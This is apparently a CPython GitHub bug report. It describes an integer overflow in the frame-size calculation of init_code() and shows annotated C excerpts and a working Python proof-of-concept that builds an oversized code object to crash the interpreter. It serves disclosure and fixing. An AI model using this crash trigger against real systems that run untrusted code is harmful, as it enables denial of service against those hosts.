Skip to content

Integer Overflow in init_code() leads to incorrect co_framesize calculation (Affects Frame Allocation) #141424

@fatihhcelik

Description

@fatihhcelik

Bug report

Bug description:

Description

The root cause is the lack of overflow checking when calculating the co_framesize (line 550: co->co_framesize = nlocalsplus + con->stacksize + FRAME_SPECIALS_SIZE;). Supplying large values for nlocals and stacksize causes the sum to exceed INT_MAX, resulting in the signed integer wrapping around to a negative value. This corrupted, negative size is subsequently passed to the frame allocation routines, where it is misinterpreted as a massive unsigned size_t. This ultimately leads to pointer corruption, incorrect memory allocation, out-of-bounds memory access, and interpreter instability (a crash), making this a critical stability and correctness bug that needs immediate addressing through explicit overflow validation.

Affected Code

File: Objects/codeobject.c
Function: init_code()
Line: 550

co->co_framesize = nlocalsplus + con->stacksize + FRAME_SPECIALS_SIZE;

Problem: This addition is performed without overflow checking. When the sum exceeds INT_MAX (2,147,483,647), it wraps around to a negative or small positive value.

Root Cause Analysis

The vulnerability occurs in three steps:

1. Integer Overflow in Frame Size Calculation:

// Objects/codeobject.c:550
co->co_framesize = nlocalsplus + con->stacksize + FRAME_SPECIALS_SIZE;
//                 50,000    + 2,147,433,647 +        4
//                 = 2,147,483,651

// Result exceeds INT_MAX (2,147,483,647)
// Integer wraps around to: -2,147,483,645

2. Pointer Corruption in Frame Allocation:

// Python/ceval.c:1870 - Passes negative co_framesize
_PyInterpreterFrame *frame = _PyThreadState_PushFrame(tstate, code->co_framesize);

// Python/pystate.c:2968 - Frame allocation with corrupted size
_PyInterpreterFrame *
_PyThreadState_PushFrame(PyThreadState *tstate, size_t size)
{
    // size = -2147483645 (negative integer cast to size_t)
    // When cast to size_t (unsigned), becomes huge value!
    
    if (_PyThreadState_HasStackSpace(tstate, (int)size)) {
        _PyInterpreterFrame *res = tstate->datastack_top;
        tstate->datastack_top += size;  // ← WRONG POINTER ARITHMETIC
        //                               negative/huge value corrupts pointer
        return res;
    }
    // ...
}

3. Out-of-Bounds Memory Access:

// Python/ceval.c - Bytecode execution with corrupted frame pointer
// Code object expects 50,000 locals, but frame pointer is at WRONG location

_PyFrame_Initialize(tstate, frame, func, locals, code, 0, previous);

// Bytecode attempts to access locals:
frame->localsplus[0...50000] = values;  // ← OUT-OF-BOUNDS ACCESS
// Frame pointer is corrupted, writing outside allocated memory
// → SIGSEGV/SIGBUS → CRASH!

The _PyCode_Validate() function checks many parameters but does NOT validate frame size overflow:

static int
_PyCode_Validate(struct _PyCodeConstructor *con)
{
    // Checks nlocals, stacksize individually
    // BUT: Does NOT check if (nlocals + stacksize + FRAME_SPECIALS_SIZE) overflows
    
    if (con->stacksize < 0 || con->stacksize > MAX_STACK_SIZE) {
        return -1;  // Individual check only
    }
    // Missing: overflow check for SUM
}

Proof of Concept:

#!/usr/bin/env python3
"""
Integer Overflow in CPython Code Object
"""

import sys
import types

def main():
    print("="*70)
    print("Integer Overflow PoC")
    print("="*70)
    print(f"\nPython Version: {sys.version}")
    print(f"Platform: {sys.platform}\n")
    
    # Values that trigger integer overflow
    nlocals = 50000
    stacksize = 2147433647  # Close to INT_MAX
    
    print(f"[*] Creating malicious code object:")
    print(f"    nlocals    = {nlocals:,}")
    print(f"    stacksize  = {stacksize:,}")
    print(f"    Expected framesize = {nlocals + stacksize + 4:,}")
    print(f"    INT_MAX    = {2**31-1:,}")
    print(f"\n[!] Sum exceeds INT_MAX → Integer Overflow!\n")
    
    # Create malicious code object
    code = types.CodeType(
        0,              # argcount
        0,              # posonlyargcount
        0,              # kwonlyargcount
        nlocals,        # nlocals (oversized)
        stacksize,      # stacksize (near INT_MAX)
        0,              # flags
        bytes([0x64, 0x00, 0x53, 0x00]),  # codestring (LOAD_CONST 0, RETURN_VALUE)
        (None,),        # constants
        (),             # names
        tuple(f'local{i}' for i in range(nlocals)),  # varnames
        '<exploit>',    # filename
        '<exploit>',    # name
        '<exploit>',    # qualname
        1,              # firstlineno
        b'',            # linetable
        b'',            # exceptiontable (bytes, not tuple!)
        (),             # freevars
        ()              # cellvars
    )
    
    print("[+] Code object created successfully (overflow NOT detected!)")
    print(f"[*] co_nlocals: {code.co_nlocals}")
    print(f"[*] co_stacksize: {code.co_stacksize}")
    print(f"\n[!] Executing code object...")
    print("[!] Expected: CRASH (SIGBUS/SIGSEGV)\n")
    
    # Trigger the crash
    func = types.FunctionType(code, {})
    result = func()  # ← CRASH HERE
    
    print("[!] ERROR: Should have crashed but didn't!")
    return 1

if __name__ == '__main__':
    sys.exit(main())

CPython versions tested on:

3.13

Operating systems tested on:

Linux, macOS

Metadata

Metadata

Assignees

No one assigned

    Labels

    interpreter-core(Objects, Python, Grammar, and Parser dirs)type-bugAn unexpected behavior, bug, or error

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions